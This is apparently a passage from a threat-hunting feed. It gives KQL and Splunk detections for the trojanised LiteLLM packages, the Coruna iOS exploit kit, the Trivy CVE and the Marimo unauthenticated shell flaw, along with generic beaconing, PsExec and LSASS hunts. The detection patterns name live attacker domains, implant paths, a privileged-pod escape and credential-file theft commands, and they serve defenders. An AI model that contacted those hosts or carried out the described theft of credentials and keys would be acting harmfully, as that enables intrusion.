| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("85ED77A21B88CAE721F369FA6B7BBBA3", "2E3A4412A7A487B32C5715167C755D08", "0FCCC8E3A03896F45726203074AE225D", "F5560871F6002982A6A2CC0B3EE739F7", "CDE4951BEE7E28AC8A29D33D34A41AE5", "05BACBE163EF0393C2416CBD05E45E74") or SHA1 in~ ("85ED77A21B88CAE721F369FA6B7BBBA3", "2E3A4412A7A487B32C5715167C755D08", "0FCCC8E3A03896F45726203074AE225D", "F5560871F6002982A6A2CC0B3EE739F7", "CDE4951BEE7E28AC8A29D33D34A41AE5", "05BACBE163EF0393C2416CBD05E45E74") or MD5 in~ ("85ED77A21B88CAE721F369FA6B7BBBA3", "2E3A4412A7A487B32C5715167C755D08", "0FCCC8E3A03896F45726203074AE225D", "F5560871F6002982A6A2CC0B3EE739F7", "CDE4951BEE7E28AC8A29D33D34A41AE5", "05BACBE163EF0393C2416CBD05E45E74")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("85ED77A21B88CAE721F369FA6B7BBBA3", "2E3A4412A7A487B32C5715167C755D08", "0FCCC8E3A03896F45726203074AE225D", "F5560871F6002982A6A2CC0B3EE739F7", "CDE4951BEE7E28AC8A29D33D34A41AE5", "05BACBE163EF0393C2416CBD05E45E74")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("85ED77A21B88CAE721F369FA6B7BBBA3", "2E3A4412A7A487B32C5715167C755D08", "0FCCC8E3A03896F45726203074AE225D", "F5560871F6002982A6A2CC0B3EE739F7", "CDE4951BEE7E28AC8A29D33D34A41AE5", "05BACBE163EF0393C2416CBD05E45E74")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — An AI gateway designed to steal your dataExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — An AI gateway designed to steal your data
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("proxy_server.py", "sysmon.py", "node.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/var/www", "/root/.config/sysmon/sysmon.py", "/tmp/.pg_state", "/tmp/pglog") or FileName in~ ("proxy_server.py", "sysmon.py", "node.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — An AI gateway designed to steal your data ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("proxy_server.py","sysmon.py","node.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/var/www*" OR Filesystem.file_path="*/root/.config/sysmon/sysmon.py*" OR Filesystem.file_path="*/tmp/.pg_state*" OR Filesystem.file_path="*/tmp/pglog*" OR Filesystem.file_name IN ("proxy_server.py","sysmon.py","node.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] LiteLLM/TeamPCP C2 beacon to checkmarx.zone/raw and models.litellm.cloudCommand & ControlHigh
Hunts outbound HTTP(S) callbacks to the TeamPCP C2 infrastructure used by the trojanised LiteLLM 1.82.7/1.82.8 PyPI packages and Checkmarx-themed VSCode extensions. The sysmon.py implant polls checkmarx.zone/raw for next-stage URLs and downloads NodeJS payload checkmarx-util-1.0.4.tgz from checkmarx.zone/static/.
Rationale: Both C2 FQDNs (checkmarx.zone, models.litellm.cloud) and the specific URI paths /raw and /static/checkmarx-util-*.tgz are explicitly enumerated in the Securelist article and corroborated by Datadog Security Labs and BleepingComputer write-ups of the TeamPCP campaign. Either domain hitting the proxy is high-fidelity for this incident.
Cross-checked against:
• https://securitylabs.datadoghq.com/articles/litellm-compromised-pypi-teampcp-supply-chain-campaign/
• https://www.bleepingcomputer.com/news/security/popular-litellm-pypi-package-compromised-in-teampcp-supply-chain-attack/
• https://docs.litellm.ai/blog/security-update-march-2026
ATT&CKT1071.001T1105T1568
Data sourcesWebNetwork_Resolution
union
( DeviceNetworkEvents
| where RemoteUrl has_any ("checkmarx.zone/raw","checkmarx.zone/static/checkmarx-util","models.litellm.cloud")
or RemoteUrl matches regex @"checkmarx\.zone/static/.*\.tgz"
| project Timestamp, DeviceName, ActionType, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName ),
( DeviceEvents
| where ActionType == "DnsQueryResponse" and AdditionalFields has_any ("checkmarx.zone","models.litellm.cloud")
| project Timestamp, DeviceName, ActionType, AdditionalFields, InitiatingProcessFileName )
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.user_agent) as user_agents from datamodel=Web where Web.url IN ("*checkmarx.zone/raw*","*checkmarx.zone/static/checkmarx-util*","*checkmarx.zone/static/*.tgz","*models.litellm.cloud*") OR Web.dest IN ("checkmarx.zone","models.litellm.cloud") by Web.src Web.dest Web.http_method | `drop_dm_object_name(Web)` | append [| tstats summariesonly=true count from datamodel=Network_Resolution where Network_Resolution.DNS.query IN ("checkmarx.zone","*.checkmarx.zone","models.litellm.cloud") by Network_Resolution.DNS.src Network_Resolution.DNS.query | `drop_dm_object_name(Network_Resolution.DNS)`] | convert ctime(firstTime) ctime(lastTime)
Detects the on-disk artefacts of the LiteLLM 1.82.7/1.82.8 PyPI compromise: the .pth auto-execution hook, the dropped second-stage p.py, the AES key file session.key, and the staged exfil archive tpcp.tar.gz next to the package. These names are unique to the TeamPCP loader and not part of normal LiteLLM behaviour.
Rationale: Filenames litellm_init.pth, p.py, session.key and tpcp.tar.gz are explicitly named in the Securelist technical analysis and reproduced in safedep / Snyk teardowns of the same packages. The combination of a .pth auto-loader plus an adjacent p.py within a site-packages tree is essentially pathognomonic for this loader.
Cross-checked against:
• https://safedep.io/malicious-litellm-1-82-8-analysis/
• https://snyk.io/blog/poisoned-security-scanner-backdooring-litellm/
• https://www.sonatype.com/blog/compromised-litellm-pypi-package-delivers-multi-stage-credential-stealer
ATT&CKT1195.002T1059.006T1546.016T1560.001
Data sourcesEndpoint.FilesystemEndpoint.Processes
DeviceFileEvents
| where FileName in~ ("litellm_init.pth","p.py","session.key","tpcp.tar.gz")
or (FileName == "proxy_server.py" and FolderPath has "site-packages/litellm/proxy" and ActionType == "FileModified")
| extend Artifact = FileName
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Artifacts=make_set(Artifact), Paths=make_set(FolderPath), Procs=make_set(InitiatingProcessFileName), Cmds=make_set(InitiatingProcessCommandLine) by DeviceId, DeviceName, InitiatingProcessAccountName
| where array_length(Artifacts) >= 2 or Artifacts has_any ("litellm_init.pth","tpcp.tar.gz")
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as paths values(Filesystem.process_id) as pids from datamodel=Endpoint.Filesystem where (Filesystem.file_name IN ("litellm_init.pth","p.py","session.key","tpcp.tar.gz")) OR (Filesystem.file_path="*site-packages/litellm/proxy/proxy_server.py" AND Filesystem.action="modified") by host Filesystem.dest Filesystem.file_name Filesystem.user | `drop_dm_object_name(Filesystem)` | stats dc(file_name) as distinct_artifacts values(file_name) as artifacts values(paths) as paths min(firstTime) as firstTime max(lastTime) as lastTime by host dest user | where distinct_artifacts>=2 OR match(artifacts,"litellm_init\.pth|tpcp\.tar\.gz") | convert ctime(firstTime) ctime(lastTime)
[LLM] TeamPCP sysmon.py systemd persistence and Kubernetes node footholdInstallationHigh
Detects the post-exploitation persistence stage written by the LiteLLM/Checkmarx-extension implant: dropping sysmon.py under ~/.config/sysmon/ or /root/.config/sysmon/ on a Kubernetes node, registering it as a systemd unit, and the polling state files /tmp/.pg_state and /tmp/pglog used to fetch follow-on payloads from checkmarx.zone/raw.
Rationale: The exact persistence paths (~/.config/sysmon/sysmon.py, /root/.config/sysmon/sysmon.py), polling-state files (/tmp/.pg_state, /tmp/pglog) and the privileged-pod + hostPath escape sequence are all called out in the Securelist write-up and independently confirmed by Wiz and Datadog analyses of the TeamPCP campaign. None of these strings should appear on a healthy host or cluster.
Cross-checked against:
• https://www.wiz.io/blog/teampcp-attack-kics-github-action
• https://securitylabs.datadoghq.com/articles/litellm-compromised-pypi-teampcp-supply-chain-campaign/
• https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html
ATT&CKT1543.002T1611T1610T1053.006
Data sourcesEndpoint.FilesystemEndpoint.Processes
union
( DeviceFileEvents
| where (FolderPath endswith "/.config/sysmon" and FileName == "sysmon.py")
or (FolderPath in ("/tmp","/tmp/") and FileName in ("pglog",".pg_state"))
or (FileName == "sysmon.service" and FolderPath has_any ("/etc/systemd/system","/.config/systemd/user"))
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName ),
( DeviceProcessEvents
| where ProcessCommandLine has_any ("systemctl enable sysmon","systemctl start sysmon","chmod +x /tmp/pglog")
or (ProcessCommandLine has "kubectl" and ProcessCommandLine has_all ("--privileged","hostPath"))
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName )
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as paths values(Filesystem.process_path) as parent_proc from datamodel=Endpoint.Filesystem where (Filesystem.file_path IN ("*/.config/sysmon/sysmon.py","/root/.config/sysmon/sysmon.py","/tmp/.pg_state","/tmp/pglog")) OR (Filesystem.file_path IN ("/etc/systemd/system/sysmon.service","*/.config/systemd/user/sysmon.service")) by host Filesystem.dest Filesystem.file_name Filesystem.user | `drop_dm_object_name(Filesystem)` | append [| tstats summariesonly=true count from datamodel=Endpoint.Processes where Processes.process IN ("*systemctl* enable *sysmon*","*systemctl* start *sysmon*","*chmod +x /tmp/pglog*","*kubectl* create *--privileged*") by host Processes.dest Processes.user Processes.process Processes.parent_process | `drop_dm_object_name(Processes)`] | convert ctime(firstTime) ctime(lastTime)
2026-03-263 use cases1 technique5 kill-chain phases detected
Kaspersky GReAT experts look into the Coruna exploit kit targeting iPhones. We discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 is an updated version of the Operation Triangulation exploit.
CVEsCVE-2023-32434CVE-2023-38606
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → [LLM] Coruna stager URI '/static/analytics.html' fetched by mobile Safari
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2023-32434", "CVE-2023-38606")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2023-32434", "CVE-2023-38606")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Hunts for network connections to confirmed Coruna exploit-kit delivery infrastructure (b27.icu, 7p.game, mxbc-v2.tjbjdod.cn, cdn.uacounter.com) used to serve the Safari RCE→PAC→kernel chain that includes the updated Operation Triangulation exploits for CVE-2023-32434/CVE-2023-38606. Any hit indicates a likely 1-click iOS exploit attempt and warrants device isolation/forensic triage.
Rationale: Domains b27.icu, 7p.game, mxbc-v2.tjbjdod.cn and cdn.uacounter.com are all named in the Google TAG and iVerify reports as live Coruna delivery infrastructure (UNC6353 Ukrainian watering-hole and UNC6691 China-based financially-motivated activity). Multiple second sources (cloud.google.com, iverify.io, helpnetsecurity, securityweek) corroborate them, so they are reliable atomic IOCs.
Cross-checked against:
• https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit
• https://iverify.io/blog/coruna-inside-the-nation-state-grade-ios-exploit-kit-we-ve-been-tracking
• https://www.helpnetsecurity.com/2026/03/03/coruna-ios-exploit-kit/
• https://www.centripetal.ai/threat-research/coruna-ios-exploit-kit
ATT&CKT1189T1583.001T1203
Data sourcesWeb.WebNetwork_Resolution.DNS
let coruna_domains = dynamic(["b27.icu","7p.game","mxbc-v2.tjbjdod.cn","tjbjdod.cn","cdn.uacounter.com","uacounter.com"]);
DeviceNetworkEvents
| where Timestamp > ago(90d)
| where ActionType in ("ConnectionSuccess","HttpConnectionInspected","DnsConnectionInspected")
| where RemoteUrl has_any (coruna_domains) or RemoteIPType == "Public" and tostring(AdditionalFields) has_any (coruna_domains)
| project Timestamp, DeviceName, DeviceId, OSPlatform, InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort, ActionType, AdditionalFields
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.user_agent) as user_agent values(Web.src) as src values(Web.dest) as dest from datamodel=Web where Web.url IN ("*b27.icu*","*7p.game*","*mxbc-v2.tjbjdod.cn*","*cdn.uacounter.com*","*tjbjdod.cn*","*uacounter.com*") OR Web.dest IN ("b27.icu","7p.game","mxbc-v2.tjbjdod.cn","cdn.uacounter.com") by Web.src Web.dest Web.http_method | `drop_dm_object_name(Web)` | append [| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(DNS.src) as src values(DNS.query) as query from datamodel=Network_Resolution where DNS.query IN ("b27.icu","7p.game","mxbc-v2.tjbjdod.cn","cdn.uacounter.com","*.tjbjdod.cn","*.uacounter.com") by DNS.src DNS.query | `drop_dm_object_name(DNS)`] | convert ctime(firstTime) ctime(lastTime)
[LLM] Coruna stager URI '/static/analytics.html' fetched by mobile SafariExploitationMedium
Hunts proxy/HTTP telemetry for the specific Coruna stager path '/static/analytics.html' served by the kit, especially when requested by an iPhone/iPad Safari user-agent — this is the JavaScript fingerprinter that selects the RCE+PAC payload before the kernel-exploit packages (Package IDs 0xF3xxxxxx) are pulled. Pairing the path with an iOS UA dramatically reduces FPs vs the path alone.
Rationale: Google's report names '/static/analytics.html' on mxbc-v2.tjbjdod.cn as the exact stager path that fingerprints the browser and selects the WebKit RCE (CVE-2024-23222) + PAC bypass before pulling the kernel-exploit packages. Filtering on iPhone/iPad Safari UAs and excluding well-known analytics CDNs keeps FPs reasonable while catching previously unseen Coruna mirrors that reuse the kit's URL convention.
Cross-checked against:
• https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit
• https://thehackernews.com/2026/03/coruna-ios-exploit-kit-uses-23-exploits.html
• https://iverify.io/blog/coruna-inside-the-nation-state-grade-ios-exploit-kit-we-ve-been-tracking
ATT&CKT1203T1189T1059.007
Data sourcesWeb.Web
DeviceNetworkEvents
| where Timestamp > ago(60d)
| where OSPlatform in ("iOS","iPadOS") or InitiatingProcessFileName in~ ("MobileSafari","SafariViewService","com.apple.WebKit.WebContent")
| where RemoteUrl endswith "/static/analytics.html" or RemoteUrl contains "/static/analytics.html?"
| where not(RemoteUrl has_any ("google-analytics.com","googletagmanager.com","doubleclick.net","cloudflareinsights.com"))
| project Timestamp, DeviceName, DeviceId, OSPlatform, InitiatingProcessFileName, RemoteUrl, RemoteIP, ActionType
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.http_referrer) as referrer values(Web.dest) as dest values(Web.http_user_agent) as ua from datamodel=Web where Web.url="*/static/analytics.html*" by Web.src Web.dest Web.http_user_agent | `drop_dm_object_name(Web)` | where match(ua,"(?i)iPhone|iPad|CPU OS|Mobile/.*Safari") AND NOT match(dest,"(?i)(google-analytics\.com|googletagmanager\.com|doubleclick\.net|cloudflareinsights\.com)$") | convert ctime(firstTime) ctime(lastTime)
2026-03-264 use cases0 techniques3 kill-chain phases detected
Aquasecurity Trivy contains an embedded malicious code vulnerability that could allow an attacker to gain access to everything in the CI/CD environment, including all tokens, SSH keys, cloud credentials, database passwords, and any sensitive configuration in memory. Vendor: Aquasecurity, Product: Trivy. Federal patch due: 2026-04-09.
CVEsCVE-2026-33634
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-33634")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33634")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft)
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
